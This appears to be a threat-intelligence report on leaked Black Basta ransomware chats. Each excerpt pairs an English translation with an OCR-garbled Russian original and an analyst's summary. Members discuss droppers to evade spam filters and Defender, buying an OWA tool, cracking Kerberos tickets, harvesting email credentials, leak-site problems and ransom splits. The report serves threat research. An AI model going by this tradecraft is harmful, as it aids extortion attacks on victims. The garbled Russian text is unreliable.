2023-10-03 17:06:42,
@usernamegg:matrix.bestflowers247.online, do you
have any thoughts?

2023-10-03 17:07:02,

Original Text

2023-10-03 17:05:47,
@usernamegg:matrix.bestflowers247.online, Bce
KauyeCTBHHO

2023-10-03 17:05:54,
@usernamegg:matrix.bestflowers247.online, Bce Ha
BbICLUEM YPOBHE

2023-10-03 17:05:57,
@usernamegg:matrix.bestflowers247.online, Ho B
KOHLe s obcuparochb

2023-10-03 17:06:02,
@usernameyy:matrix.bestflowers247.online, uto
CNYYNNOCh

2023-10-03 17:06:22,
@usernamegg:matrix.bestflowers247.online, notomy
YTO He KTO He MOXeT cobpaTb HOpPMasibHbIV Apornnep
ANA AOCTaBKME HaXeW Harpysku

2023-10-03 17:06:27,
@usernamegg:matrix.bestflowers247.online, ctonbko
BCEro npojesnaHo

2023-10-03 17:06:30,
@usernamegg:matrix.bestflowers247.online, Ho uTo
TO €ro nanut

2023-10-03 17:06:37,
@usernamegg:matrix.bestflowers247.online, s y>e He
eby uTo senatb

2023-10-03 17:06:42,
@usernamegg:matrix.bestflowers247.online, moxet y
Tebs eCTb Kakue TO MbICAn?
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@usernameyy:matrix.bestflowers247.online, yes | can
try, what kind of payload will it be

2023-10-03 17:07:31,
@usernamegg:matrix.bestflowers247.online, what
dropper to bypass spam filters, Chrome, Defender
and get to the victim's machine so they open us and
run it

2023-10-03 17:07:39,
@usernamegg:matrix.bestflowers247.online, fuck it
already

2023-10-03 17:07:02,
@usernameyy:matrix.bestflowers247.online, ga s mory
nonpobosartb, a UTo 3a Harpyska byaert

2023-10-03 17:07:31,
@usernamegg:matrix.bestflowers247.online, kakum
ApOnnepoM MUHOBATb crnaM GUIbTPbI, XPOM,
aedeHsep v NPUATU Ha MaLLUHY XXePTBbl YTO Obl OH
OTKPbIN HAC ¥ 3anycTun

2023-10-03 17:07:39,
@usernamegg:matrix.bestflowers247.online, aga yxe
noxep

gg expresses strong frustration that "dropper (malware distribution module)" performance undermines efforts

despite high-quality individual work and overall results. yy demonstrates collaborative attitude, showing

awareness for problem sharing and joint response. Meanwhile, gg's mental exhaustion runs deep, with content

suggesting limits in continuous detection and defense evasion.
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Conversation on Denouncing lllicit Tool Providers as Scammers

Translated

2024-04-09 15:14:15,
@usernamegg:matrix.bestflowers247.online, is the
coder assembler online?

2024-04-09 15:24:41, @chuck:talks.icu, hello
2024-04-09 15:24:49, @chuck:talks.icu, you mean
fcoder?

2024-04-09 15:26:53, @chuck:talks.icu, he's been
offline for me for a long time

2024-04-09 15:27:24,
@usernamegg:matrix.bestflowers247.online, >
<@chuck:talks.icu> you mean fcoder? yes
2024-04-09 15:27:28,
@usernamegg:matrix.bestflowers247.online,
understood

2024-04-10 10:41:21, @chuck:talks.icu, hello
2024-04-10 10:41:26, @chuck:talks.icu, >
<@usernamegg:matrix.bestflowers247.online>
@qqwwwz this is a scammer

2024-04-10 10:41:33, @chuck:talks.icu, sent me some
trash, now he's ignoring me

2024-04-10 10:46:55,
@usernamegg:matrix.bestflowers247.online, he was
online 4 minutes ago it seems

2024-04-10 11:18:55, @chuck:talks.icu, yes he was
online yesterday too

2024-04-10 11:19:01, @chuck:talks.icu, did you get
something from him?

2024-04-10 11:54:44,
@usernamegg:matrix.bestflowers247.online, owa
2024-04-10 11:54:52,
@usernamegg:matrix.bestflowers247.online, but also
crap

Original Text

2024-04-09 15:14:15,
@usernamegg:matrix.bestflowers247.online, kogep
cbopLymK Ha cBA3UN?

2024-04-09 15:24:41, @chuck:talks.icu, npuset
2024-04-09 15:24:49, @chuck:talks.icu, fcoder
BCMbICAE?

2024-04-09 15:26:53, @chuck:talks.icu, oH y MeHs
faBHO 0P

2024-04-09 15:27:24,
@usernamegg:matrix.bestflowers247.online, >
<@chuck:talks.icu> fcoder Bcmbicne? aa
2024-04-09 15:27:28,
@usernamegg:matrix.bestflowers247.online, noHsn
2024-04-10 10:41:21, @chuck:talks.icu, npuset
2024-04-10 10:41:26, @chuck:talks.icu, >
<@usernamegg:matrix.bestflowers247.online>
@qgwww1z 370 Kngana

2024-04-10 10:41:33, @chuck:talks.icu, cknHyn mHe
KakoWn Mycop, Tenepb MOPO3UTCH

2024-04-10 10:46:55,
@usernamegg:matrix.bestflowers247.online, 4
MWHYTbI Ha3az Bpoge 6bin

2024-04-10 11:18:55, @chuck:talks.icu, sa oH 1 Buepa
6bin

2024-04-10 11:19:01, @chuck:talks.icu, Tbl y Hero
6pan utoTo?

2024-04-10 11:54:44,
@usernamegg:matrix.bestflowers247.online, owa
2024-04-10 11:54:52,
@usernamegg:matrix.bestflowers247.online, Ho Toxe
XepHS

This conversation records gg searching for a "coder-builder" and purchasing what appears to be an "OWA
(Outlook Web Access) related tool" from qgwww1z, but achieving no results as "that also failed." Meanwhile,

chuck declares gqgqwww1z a "scammer" and condemns sending "weird garbage."

This exchange intersecting gg's disappointment and chuck's warnings exemplifies shortage of reliable

technicians and tools, wariness toward risky external contacts, and importance of internal information sharing.
The OWA tool's execution failure also suggests absence of technical verification processes and wasted time

costs.
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gg's Perspective on Investments Not Paying Off

Translated

2024-04-19 10:28:01, @nickolas:talks.icu, We invested
in them for 4 years, gave them bots as priority, made
various contacts that were developed over years )
2024-04-19 10:28:18,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> well | was still keeping an eye
on them anyway, asking how things were going etc :)
you always need to have opportunities to return,
that's all correct

2024-04-19 10:28:33, @nickolas:talks.icu, | just know
cases where people don't seem to participate, but as
some kind of gratitude, employees still pay some
royalty )

2024-04-19 10:28:42,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> We invested in them for 4
years, gave them bots as priority, made various
contacts that were developed over years ) you even
gave them me

2024-04-19 10:28:54, @nickolas:talks.icu, Yes
everyone damn it ;)

2024-04-19 10:29:06,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> I just know cases where people
don't seem to participate, but as some kind of
gratitude, employees still pay some royalty ) so that's
how you raised them

2024-04-19 10:29:22, @nickolas:talks.icu, Even found
a Citrix supplier from an HSS account where my
deposit was, and | was composing ads to search for
targets =)

2024-04-19 10:29:23,
@usernamegg:matrix.bestflowers247.online, don't
fucking wait for anything from anyone

2024-04-19 10:29:27,
@usernamegg:matrix.bestflowers247.online, until you
move yourself

2024-04-19 10:29:31,
@usernamegg:matrix.bestflowers247.online, nobody
will give anything

2024-04-19 10:29: 35,
@usernamegg:matrix.bestflowers247.online, I'm sure
of this

2024-04-19 10:29:49, @nickolas:talks.icu, Yes it's just
offensive to learn from outsiders that your guys did

Original Text

2024-04-19 10:28:01, @nickolas:talks.icu, Mbl B H1x 4
roga BkaagbiBanv, 60TOB AaBanv B Npuoputere,
KOHTaKTbl 3aBOAMAN pa3Hble, KOTOpPble Bblan
HapaboTaHbl rogamu )

2024-04-19 10:28:18,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> Hy A BCe paBHO npucmaTpuBan,
cnpLwanBan Kak Aesa UTn :) BO3MOXHOCTV BEPHYTCbA
BCerga Hy>XHO MMeTb ,BCe MPaBUIbHO

2024-04-19 10:28:33, @nickolas:talks.icu, A npocTto
3Hao KeNchbl, rae MM BPOAe He yYacTBYHOT, HO B
KauecTBe Kakou To 6aarofapHoCTH, BCe paBHO
COTPYAHVKWN KaKOM TO POANTU MAATAT )

2024-04-19 10:28:42,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> Mbl B HMX 4 roga BKAaabIBaAy,
60TOB faBanv B NPUOpPUTETE, KOHTAKTbl 3aBOANIM
pasHble, KOTopble HbIM HapaboTaHbl rogamu ) faxe
MEHS Tbl UM Jan

2024-04-19 10:28:54, @nickolas:talks.icu, la Bcex
ONVH :)

2024-04-19 10:29:06,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> A npocTo 3Hato Kelichl, rae
NFOAM BPOAE He y4acTBYHOT, HO B Ka4eCTBe KakoW TO
61aroapHOCTY, BCE PaBHO COTPYAHWKMN KaKoOW TO
POSTY NAATAT ) TaK BOCMMTAN 3HAYUUT Thbl X
2024-04-19 10:29:22, @nickolas:talks.icu, Jaxe
MOCTaBLLMKa CUTPUKCA HALLAW C akKayHTa XCC, rae
nexkan MoW Aeno3unT, U A COCTaBAsAN O6bANBEHNE Ha
MOWCK TapreToB =)

2024-04-19 10:29:23,
@usernamegg:matrix.bestflowers247.online, Hexyn
TYT XZAaTb YTO TO OT KOTrO

2024-04-19 10:29:27,
@usernamegg:matrix.bestflowers247.online, noka cam
ABUWraTb He byaLuellb

2024-04-19 10:29:31,
@usernamegg:matrix.bestflowers247.online, H1 kTO
HWYreo He gact

2024-04-19 10:29:35,
@usernamegg:matrix.bestflowers247.online, s BoT
YBEPEH B 3TOM

2024-04-19 10:29:49, @nickolas:talks.icu, Ja npocto B
MOMEHTE OT CTOPOHHUX JIH0AEN HECKOIbKO 0BMAHO
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something and didn't even tell you ))

2024-04-19 10:30:12, @nickolas:talks.icu, probably
this hurt me more than anything else)

2024-04-19 10:30:14,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> Yes it's just offensive to learn
from outsiders that your guys did something and
didn't even tell you )) | understand

y3HaBaTb, YTO TBOM Ye TO CAenanu, n jaxe He
pacckasanu ))

2024-04-19 10:30:12, @nickolas:talks.icu, HaBepHO
MeHs TyT 6oblue 3TO 3a4e/10, HeXenn Yyem yet
Apyroe)

2024-04-19 10:30:14,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> [la npocto B MOMeHTe OT
CTOPOHHMX NHOAEN HECKObKO OBMAHO y3HaBaTb, YTO
TBOW Ye TO CAeNanu, n jaxe He pacckaszanu ))
NOHMMato

This conversation shows nickolas and gg reflecting on four years of human investment and support, sharing
disappointment over lacking trust relationships and reporting. nickolas emphasizes personal contributions to
team development and resource allocation while frankly conveying disappointment about learning results and
developments from others. Meanwhile, gg demonstrates practical stance backed by experience while showing
understanding for nickolas's feelings. This exchange reveals leadership dynamics, trust asymmetry, and varying
attitudes toward interpersonal relationships within the group.
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Disputes and Relationship Breakdown over Compensation Terms

Translated

2024-05-29 14:32:26,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> You can share everything, |
need to upgrade my internal pentest team
somewhere, but at the moment | got a refusal. you
won't upgrade them, they've been sitting here for so
many years and haven't learned anything worthwhile
2024-05-29 14:32:33,
@usernamegg:matrix.bestflowers247.online, you
won't get far with them

2024-05-29 14:32:41,
@usernamegg:matrix.bestflowers247.online, they
won't develop these networks that we can do
2024-05-29 14:32:52,
@usernamegg:matrix.bestflowers247.online, so fast
and with quality

2024-05-29 14:33:31, @nickolas:talks.icu, My staff is
being updated now, | have in mind a configuration of
how this could look.

2024-05-29 14:33:46, @nickolas:talks.icu, That's why
I'm giving you very good networks, because you have
more resources.

2024-05-29 14:34:05,
@usernamegg:matrix.bestflowers247.online, alright,
I'll reconsider our cooperation. | didn't expect such an
answer.

[omitted]

2024-05-29 14:41:03,
@usernamegg:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> 100%
- 20% (lock) = 80% this / 2 = 40% each. * | thought
we were partners so | gave you such conditions,
usually those who come from the street don't get
more than 15% and grow to 30% but you got 40%
from the start, if there are new targets I'll reconsider
my conditions and with those currently in work the
conditions will also be reconsidered.

2024-05-29 14:42:43, @nickolas:talks.icu, From the
street? You probably forgot more than 3 years of
cooperation. Don't change horses midstream, we
gave you under conditions, you be so kind as to fulfill
the conditions, otherwise it turns out to be some kind
of bullshit.

2024-05-29 14:42:58, @nickolas:talks.icu, Fine, do
what you want.

Original Text

2024-05-29 14:32:26,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> MoxHo aenuTcs Bcem, MHe BOT
rfe TO HY>XHO BHYTPEHHIOK KOMaHAy Mo neHTecTy
NpoKayMBaTh, HO A B MOMEHTE MOAyYMA OTKa3. Thbl UX
He NpoKayaellb, OHW Y>Ke CTONbKO NIeT CUAAT TyT U
HWYero TOJIKOBOrO He y3Hanwu

2024-05-29 14:32:33,
@usernamegg:matrix.bestflowers247.online, Tbl ¢
HUMW Aaneko He yeaellb

2024-05-29 14:32:41,
@usernamegg:matrix.bestflowers247.online, oHn He
PaCKPYTAT 3TV CETKN KOTOPblE MOXEM AenaTb Mbl
2024-05-29 14:32:52,
@usernamegg:matrix.bestflowers247.online, Tak
6bICTPO M KayecTBEHHO

2024-05-29 14:33:31, @nickolas:talks.icu, Y meHs
cerlyac 06HOBAAETCA WTAT, B FOJIOBE €CTb
KOHdUrypaLms Kak 3T0 MOXET BbIrNAAETb.
2024-05-29 14:33:46, @nickolas:talks.icu, Mo atomy s
M OTAA0 OYeHb XOpoLure ceTu Tebe, MOTOMY UTO Yy
Tebs 6onbLUe pecypca.

2024-05-29 14:34:05,
@usernamegg:matrix.bestflowers247.online, nagHo, s
NnepecMoTpIO Halle COTPYAHUYECTBO. A He oxugan
Takoro oTBerta.

[omitted]

2024-05-29 14:41:03,
@usernamegg:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> 100%
- 20% (noke) = 80% 310 / 2 = no 40% kaxgomy. * a
AyMan Mbl NapTHepPbI NO 3TOMy Aan Tebe Takne
yCN0BWA, OBbIYHO Te KTO MPUXOAAT C yaunubl 6onblue
15% He nonyyatoT u BbipocTatoT Ao 30% a Tbl €
nopora 40% noayuwn, ecav ByayT HOBble TapreTol S
nepecMoTPHO CBOW YC/IOBUA M C TEMU KOTOpPbIe cervac
B paboTe ToXe ycnoBua ByayT nepecMoTpeHbl.
2024-05-29 14:42:43, @nickolas:talks.icu, C yanubi?
Tbl HaBepHO 3abbln bosee 3X eT COTPYAHUYECTBA.
KoHel Ha nepenpaBe He MeHAOT, Mbl Tebe OTAaNM
noJ ycnoBus, Tol 6yab 06P NCMONHAN yCNOBMS, @ TO
nony4Yaerca kakas To QUrHs.

2024-05-29 14:42:58, @nickolas:talks.icu, XopoLuo,
Jlenan Kak xo4ellb.
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2024-05-29 14:43:23, @nickolas:talks.icu, I'll send this
correspondence to Cortes

2024-05-29 14:43:25, @nickolas:talks.icu, all the best
2024-05-29 14:47:15,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> From the street? You probably
forgot more than 3 years of cooperation. > > Don't
change horses midstream, we gave you under
conditions, you be so kind as to fulfill the conditions,
otherwise it turns out to be some kind of bullshit. You
weren't here for so much time and still proper
attitude towards you was preserved. We kept your
place so to speak and supported you. And you
apparently don't appreciate it. We're doing well with
targets, there's plenty of work, we can absorb large
volume. Of course we'll do as we see fit. Cortes is a
normal guy and always open to any dialogue and
always both he and | share all developments. And
you're showing yourself not from the best side now,
that's your business.

2024-05-29 14:47:47,
@usernamegg:matrix.bestflowers247.online, All the
best.

2024-05-29 15:07:29, @nickolas:talks.icu, It's
interesting, how to deal with people who can say at
any moment, all the conditions | promised, I'll
reconsider unilaterally? Everyone is just shocked )
[omitted]

2024-05-29 15:57:31, @nickolas:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> friend,
no time to roll cotton, very much work... come I'll see
you personally and tell you everything personally. this
isn't the right conversation here. Come on, where to
come? Need to discuss all this, otherwise now it's an
absolutely unclear situation.

2024-05-29 14:43:23, @nickolas:talks.icu, ckuHy 31y
nepenuncky Koptecy

2024-05-29 14:43:25, @nickolas:talks.icu, Bcero
XopoLuero

2024-05-29 14:47:15,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> C ynauubl? Tbl HaBepHO 3abbin
6onee 3x net cotTpyaHUYecTea. > > KoHen Ha
nepenpase He MEHAIOT, Mbl Tebe oTAaNn Nog,
ycnoBus, Tbl 6yab JOBP NCNONHAN YCNOBKSA, @ TO
nony4vaertca kakas 1o GurHa. Teba He 6bIN0 CKONBKO
TYT BPEMEHU U1 BCE PaBHO K Tebe fomKHOoe
OTHOLLEHWe coxpaHunock. CoxpaHuamM TBOE MeCTO Tak
CKaXkeM W noaaepxanu 1ebs. A Tbl BUAMMO He
LeHULWLb. Y Hac BCe XOPOLLO MO Tapretam, paboTbl Hy
NPsAM XBaTaeT, Mbl MOXeM MoraoLwaTb 60/bLIOM
06beM. KoHeUYHO Mbl ByaeM AenaTtb Tak Kak cHMTaem
HY>HbIMW. KopTec napeHb HOpManbHbIA 1 BCceraa
OTKPbIT K JIF0OOMY IManory 1 Bcerga kak oH Tak v s
AenvmMca BceMu Hapabotkamu. A Tbl BOT ceba ceryac
noka3sblBaellb He C CaMOM XOPOLLEA CTOPOHbI, A€/10
TBOE.

2024-05-29 14:47:47,
@usernamegg:matrix.bestflowers247.online, Bcex
6nar.

2024-05-29 15:07:29, @nickolas:talks.icu, Bot
WHTEpeCHO, Kak MMeTb Jena C NtoAbMMY, KOTOpble
MOTYT cKa3aTb B MOMEHTE, BCE YC/0BUSA KOTOpPbIE
obeLllan, § NepecMoTPro B OA4HOCTOPOHHEM MopsAAKe?
Bce npocTo B axye )

[omitted]

2024-05-29 15:57:31, @nickolas:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> apyr,
Hekorga BaTy KaTaTb , O4eHb MHOro paboTbl...
npuesxain A Teba AMYHO yBMXY 1 Tebe NNUHO Bce
CKaxy. TyT 3TO He TOT pa3roBop. [laBaii, kyaa
npuesxaTtb? Hago 3TO BCe NPOrooBpuUThb, a TO cervac
abCoNMOTHO HEMOHATHAA CUTyaLus.

This conversation records internal conflict between gg and nickolas demonstrating collapse of compensation

distribution, team structure, and trust relationships. gg treats long-term participant nickolas as "someone from

outside," asserting relationship redefinition and 40% compensation revision. Meanwhile, nickolas perceives this
as "promise abandonment," emphasizing over three years of association in resistance. After emotional exchanges

continue, the statement "sending this exchange to Cortes" signals organizational escalation of conflict.

Furthermore, both parties claim legitimacy based on workload and contributions, clearly showing trust erosion
from misaligned role recognition and fairness in collaboration. While face-to-face discussion gets proposed

ultimately, relationships already severely deteriorate, indicating extremely high partnership split risk.
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Dissatisfaction with Prioritization of Forum Requests over Black Basta Internal Chat

Translated

2023-11-06 16:39:28,
@usernamegg:matrix.bestflowers247.online, on
Friday we sent the same Kerberos tickets you didn't
decrypt, today | post the same Kerberos tickets at
insane prices on the forum and you immediately
decrypted them! how should | understand this at
all? where are you directing your computing power?
2023-11-06 16:40:35,
@usernamehunter:matrix.bestflowers247.online,
hello

2023-11-06 16:40:52,
@usernamegg:matrix.bestflowers247.online, this
smells like some kind of bullshit

2023-11-06 16:40:56,
@usernamegg:matrix.bestflowers247.onling, it's
unpleasant for me

2023-11-06 16:41:04,
@usernamegg:matrix.bestflowers247.online, we all
got worked up here

2023-11-06 16:41:29,
@usernamehunter:matrix.bestflowers247.online,
what you send here, | work on as priority, what's on
the forum, these weren't there on Friday
2023-11-06 16:41:49,
@usernamegg:matrix.bestflowers247.online, yes |
didn't stop them here

2023-11-06 16:41:55,
@usernamegg:matrix.bestflowers247.online, how is
that?

2023-11-06 16:42:04,
@usernamegg:matrix.bestflowers247.online, they
were still needed

Original Text

2023-11-06 16:39:28,
@usernamegg:matrix.bestflowers247.online, B naTHMLY
Mbl CKMAbIBaAN Te e camble KepObl Bbl He
pecwmndpoBany, CErofHs A BblkKAablBato Te Xe camMble
KepObl Mo belleHHOMY npalicy Ha ¢popMy 1 Bbl Cpasy
TYT Kak TyT pacwumposanm! 370 kak NOHMMaTb
BOOOLLE? Bbl KyZia CBOM MOLLHOCTU HanpasaseTe?
2023-11-06 16:40:35,
@usernamehunter:matrix.bestflowers247.online,
npueet

2023-11-06 16:40:52,
@usernamegg:matrix.bestflowers247.online, xyiiHen
KakoW TO TO maxHeT

2023-11-06 16:40:56,
@usernamegg:matrix.bestflowers247.online, ax
HenpuaTHO MHe

2023-11-06 16:41:04,
@usernamegg:matrix.bestflowers247.online, mbl TyT BCe
nepenioBancb

2023-11-06 16:41:29,
@usernamehunter:matrix.bestflowers247.online, To uto
Tbl CKMAbIBaELWb TyT, A OTpabaTbiBato B npuoputeTe, To
yTO Ha Popyme, B NATHULY 3TUX He BbIIO

2023-11-06 16:41:49,
@usernamegg:matrix.bestflowers247.online, ga s He
cTonan ux Tyt

2023-11-06 16:41:55,
@usernamegg:matrix.bestflowers247.online, kak Tak
TO?

2023-11-06 16:42:04,
@usernamegg:matrix.bestflowers247.online, oHn o
CUX MOP HY>XHbl HblAn

gg expresses strong dissatisfaction about prioritizing forum processing over internal chat. hunter explains

inability to verify on the forum, yet gg remains unconvinced, revealing trust relationship impacts.
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Request for Leak Site Improvements

Translated

2023-11-02 08:48:13,
@usernamegg:matrix.bestflowers247.online, crap
2023-11-02 08:48:14,
@usernamegg:matrix.bestflowers247.online, ugh
2023-11-02 08:48:23,
@usernamegg:matrix.bestflowers247.online, how the
fuck could this be done?

2023-11-02 08:48:27,
@usernamegg:matrix.bestflowers247.online, where
was | looking tell me?

2023-11-02 08:48:35,
@usernamegg:matrix.bestflowers247.online, what was
| doing at the moment when you were making the
blog?

[omitted]

2023-11-02 08:49:53,
@usernameyy:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> what
was | doing at the moment when you were making
the blog? it's made normally what does speed have to
do with blog operation)

[omitted]

2023-11-02 08:51:56,
@usernamegg:matrix.bestflowers247.online, | don't
even want to discuss this anymore and my eyes
wouldn't have seen all this

2023-11-02 08:52:50,
@usernamegg:matrix.bestflowers247.online, | don't
even want to upload anything to this terrible blog
and spend so much effort since | can't download
anything anyway, fix all this right now, it should work
like clockwork this is our main WEAPON and we set it
up so shittily

Original Text

2023-11-02 08:48:13,
@usernamegg:matrix.bestflowers247.online, xyeta
2023-11-02 08:48:14,
@usernamegg:matrix.bestflowers247.online, npy
2023-11-02 08:48:23,
@usernamegg:matrix.bestflowers247.online, kak
615Tb TaK caenatb MOXHO 6b1107?

2023-11-02 08:48:27,
@usernamegg:matrix.bestflowers247.online, kyaa s
CMOTPeN CKaXu MHe?

2023-11-02 08:48:35,
@usernamegg:matrix.bestflowers247.online, uem s
6bl1 3aHAT B 3TOTM MOMEHT KOrAa Tbl nuana 6aor?
[omitted]

2023-11-02 08:49:53,
@usernameyy:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> yewm s
6bl1 3aHAT B 3TOTM MOMEHT KOrAa Tbl nuana 6aor? Tak
OH HOpPMa/bHO CAenlaH NPUYEM TyT CKOPOCTb A0
paboTbl 610ra)

[omitted]

2023-11-02 08:51:56,
@usernamegg:matrix.bestflowers247.online, s gaxe
60bLLe 0BCYyXAaTh HE XOUy 1 r1a3a bbl MOW 3TO BCe
He BUAenn

2023-11-02 08:52:50,
@usernamegg:matrix.bestflowers247.online, s gaxe
3a/1MBaTh HUYETO He XOUY B 3TOT Y>XKaCTHbIN 610r 1
CTO/IbKO TPYZAOB TPaTUTb Tak Kak BCe paBHO
BblKa4yaTb HUYEro He MOTy , UCMpPaBAn U NPAMO
ceiyac 370 BCe, O/MKHO paboTaTb Kak Yacbl 3TO
camoe [JTABHOE Halle opy>ee a Mbl ero Tak XyeBo
HacTpoanan

This conversation reveals gg's intense regret over overlooking leak site technical deficiencies and harsh criticism
toward current manager yy. Meanwhile, He counters that slow threat data downloads and leak site operational
quality represent separate issues. However, gg's anger persists with continued high-pressure commands,
demonstrating crisis awareness about core operational tool deficiencies and sustained strong frustration.
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Member Activity in the Organization

Conversation Suggesting Routine Late-Night Operations

Translated

2023-12-06 10:58:20, @cameron777:matrix.org, privet
2023-12-06 10:58:31,
@usernamegg:matrix.bestflowers247.online, you're
late today

2023-12-06 10:58:55, @cameron777:matrix.org, since
3 at night was here working on this file delivery
2023-12-06 10:58:59, @cameron777:matrix.org, only
slept in the morning

2023-12-06 11:27:56, @cameron777:matrix.org, do
you take other EU? and AU too

2023-12-06 11:28:09, @cameron777:matrix.org, * do
you take other EU except UK? and AU too
2023-12-06 11:33:15,
@usernamegg:matrix.bestflowers247.online, yes

Original Text

2023-12-06 10:58:20, @cameron777:matrix.org, privet
2023-12-06 10:58:31,
@usernamegg:matrix.bestflowers247.online, Tbl
NO3AHWNIN CEeroAHs

2023-12-06 10:58:55, @cameron777:matrix.org, s 3 i
nochi bil tut vozilsya s etim vidachey fayla
2023-12-06 10:58:59, @cameron777:matrix.org,
utrom tolko spal

2023-12-06 11:27:56, @cameron777:matrix.org,
drugie EU beryote? esho i AU

2023-12-06 11:28:09, @cameron777:matrix.org, *
drugie EU beryote krome UK? esho i AU
2023-12-06 11:33:15,
@usernamegg:matrix.bestflowers247.online, aa

cameron777 reveals activity starting from 3 AM. Whether emergency work required late-night operations or

flexible schedules normally apply remains unclear, yet either way, conversations glimpse normalized working

patterns far removed from conventional employment.
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Conversation Indicating Hierarchical Differences in Activity Patterns

Translated

2023-11-28 21:26:22,
@usernamegg:matrix.bestflowers247.online, well | like
your attitude, you know when we rest? ) during New
Year holidays and summer)

2023-11-28 21:26:29,
@usernamegg:matrix.bestflowers247.onlineg, in
summer we have 2 months of rest

2023-11-28 21:27:02,
@usernamegg:matrix.bestflowers247.online, during
New Year holidays we'll rest from December 24 to
January 15)

2023-11-28 21:27:09,
@usernamegg:matrix.bestflowers247.online, these are
our main vacations

2023-11-28 21:27:47, @cameron777:matrix.org,
during New Year holidays and summer ) me too
2023-11-28 21:27:51,
@usernamegg:matrix.bestflowers247.online,
otherwise we work every day from 10 AM till late
evening, Saturday Sunday are days off for senior staff
but junior staff only has Sunday off.

2023-11-28 21:27:53, @cameron777:matrix.org, not
especially in summer

Original Text

2023-11-28 21:26:22,
@usernamegg:matrix.bestflowers247.online, Hy MHe
HPaBMWTCA TBON HAaCTPOM , Mbl OTAbIXaeM 3HaeLlb
Korga? ) B HOBOroAHwve npasgHu 1 NeTom )
2023-11-28 21:26:29,
@usernamegg:matrix.bestflowers247.online, netom 2
MecALa y Hac OTAbIXa

2023-11-28 21:27:02,
@usernamegg:matrix.bestflowers247.online, B
HOBOTrOAHWe NpasAHuKM Mbl Byaem oTabixaTb € 24
Aekabpsa v go 15 aHBaps )

2023-11-28 21:27:09,
@usernamegg:matrix.bestflowers247.online, BoT 370
HaLUN OCHOBHbIE KaHWKY/Ibl

2023-11-28 21:27:47, @cameron7/77:matrix.org, B
HOBOroZHWe NpasAHu 1 1eToM ) ya tozhe
2023-11-28 21:27:51,
@usernamegg:matrix.bestflowers247.online, a Tak Mbl
Kaxabin geHb ¢ 10 yTpa Ao no3gHero Beuepa, cb BC
BbIXOZHble CTapLUero cocTaBa a MAaALLNA COCTaB
TOJIbKO BC BbIXOAHOM.

2023-11-28 21:27:53, @cameron777:matrix.org, letom
ne osobo

This conversation shows gg explaining organizational long-term vacation systems and daily work structures,

specifying year-end holidays (December 24-January 15) and two-month summer vacations. Additionally, regular

schedules run from 10 AM to late night, with hierarchical rest systems where upper-level members receive two

weekend days while lower-level members get only Sundays. Member conversations highlight organizational

hierarchy differences and operational structures.
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Conversation on Delays in Compensation Payments

Translated

2023-11-03 14:47:12,
@w:matrixtcFJHPDbImt2rg.network, when will
payments come already, | won't charge for
workloads, because we all work for one cause)
2023-11-03 14:46:51,
@usernamegg:matrix.bestflowers247.online, yes,
give me wallet

2023-11-03 14:47:27,
@w:matrixtcFJHPDbImt2rg.network, and right now
just while there are no payments sitting without
money isn't great)

2023-11-03 14:47:46,
@w:matrixtcFJHPDbImt2rg.network, <Masked:
Cryptocurrency Wallet>

2023-11-03 14:47:50,
@w:matrixtcFJHPDbImt2rg.network, thank you very
much

2023-11-03 14:51:26,
@usernamegg:matrix.bestflowers247.online,
<Masked: Cryptocurrency Transaction ID>
2023-11-03 14:53:16,
@w:matrixtcFJHPDbImt2rg.network, thanks, received

Original Text

2023-11-03 14:47:12,
@w:matrixtcFJHPDbImt2rg.network, kak BbinaaTtbl
nowayT y>Xe, He Byay 3a Harpy3ku 6patb, nb6o Bce paau
1 aena pabotaem)

2023-11-03 14:46:51,
@usernamegg:matrix.bestflowers247.online, aa, saBal
KoLenb

2023-11-03 14:47:27,
@w:matrixtcFJHPDbImt2rg.network, a wac npocto
noka HeT BbInaaTt 6e3 6abok cnaeTb He OYeHb)
2023-11-03 14:47:46,
@w:matrixtcFJHPDbImt2rg.network, <Masked:
Cryptocurrency Wallet>

2023-11-03 14:47:50,
@w:matrixtcFJHPDbImt2rg.network, cnacn6o 6onbLuoe
2023-11-03 14:51:26,
@usernamegg:matrix.bestflowers247.online, <Masked:
Cryptocurrency Transaction ID>

2023-11-03 14:53:16,
@w:matrixtcFJHPDbImt2rg.network, cnacn6o, npuwno

This conversation characteristically reveals w complaining about unpaid compensation and disclosing financial

hardship. The situation suggests lack of established funding preparation and payment systems, leaving

organizational operational foundation concerns. The fact that gg conducts transfers through personal judgment
indicates possible ad-hoc, individual-dependent responses rather than formal accounting processes.
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Remarks Suggesting Resignation to Technical Constraints

Translated
<@usernamegg:matrix.bestflowers247.online> you
think everything's on one domain? | see
subdomains are made

2024-04-19 10:38:18,
@lapa:matrix.bestflowers247.online, i.e. most likely
the servers will be different

2024-04-19 10:38:25,
@lapa:matrix.bestflowers247.online, alright, I'll try,
if they block then they block

2024-04-19 10:39:11,
@lapa:matrix.bestflowers247.online, as |
understand, very often they make {Company
subdomain

2024-04-19 10:39:33,
@lapa:matrix.bestflowers247.online, by this
principle I'll probably collect email and pass
2024-04-19 10:44:27,
@usernamegg:matrix.bestflowers247.online, the
main thing is to set up everything to collect access
on weekends

2024-04-19 10:44:35,
@usernamegg:matrix.bestflowers247.online, and
small ones too so we don't stand still until night on
Monday

2024-04-19 10:44:41,
@usernamegg:matrix.bestflowers247.online,
otherwise right now we've looked through
everything and there's nothing

2024-04-19 10:44:47,
@usernamegg:matrix.bestflowers247.online, | don't
know what to do anymore

Original Text

2024-04-19 10:38:10,
